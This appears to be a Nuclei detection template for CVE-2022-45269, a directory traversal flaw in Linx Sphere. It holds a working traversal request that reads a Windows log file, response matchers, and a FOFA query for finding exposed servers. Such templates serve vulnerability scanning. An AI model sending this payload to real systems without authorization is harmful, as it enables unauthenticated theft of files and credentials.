Linx Sphere - Directory Traversal

id: CVE-2022-45269

info:
  name: Linx Sphere - Directory Traversal
  author: robotshell
  severity: high
  description: |
    A directory traversal vulnerability in the component SCS.Web.Server.SPI/1.0 of Linx Sphere LINX 7.35.ST15 allows attackers to read arbitrary files.
  impact: |
    Unauthenticated attackers can exploit path traversal to read arbitrary files from the server, potentially accessing sensitive configuration files, credentials, and application source code.
  remediation: |
    Update Linx Sphere to a version newer than 7.35.ST15 that properly validates file paths and prevents directory traversal attacks.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-45269
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-45269
    cwe-id: CWE-22
    epss-score: 0.03092
    epss-percentile: 0.86135
    cpe: cpe:2.3:a:gmaolinx:linx_sphere:7.35.st15:*:*:*:*:*:*:*
  metadata:
    vendor: gmaolinx
    product: linx_sphere
    fofa-query: "SCS.Web.Server.SPI/1.0"
    verified: true
    max-request: 1
  tags: cve,cve2022,linx,lfi,scs,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/../../../../../../../../../../../../windows/iis.log"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Component Based Setup"

      - type: status
        status:
          - 200
# digest: 4a0a004730450220015b8bc59f9cdda0b7533f5a4b0864d0020b3d120f9e6f03115b845577108278022100f61cea5c1977ec8de7d2df1e578d111ce3ff5a70c865f5303ba5368ac4f3c78f:922c64590222798bb761d5b6d8e72950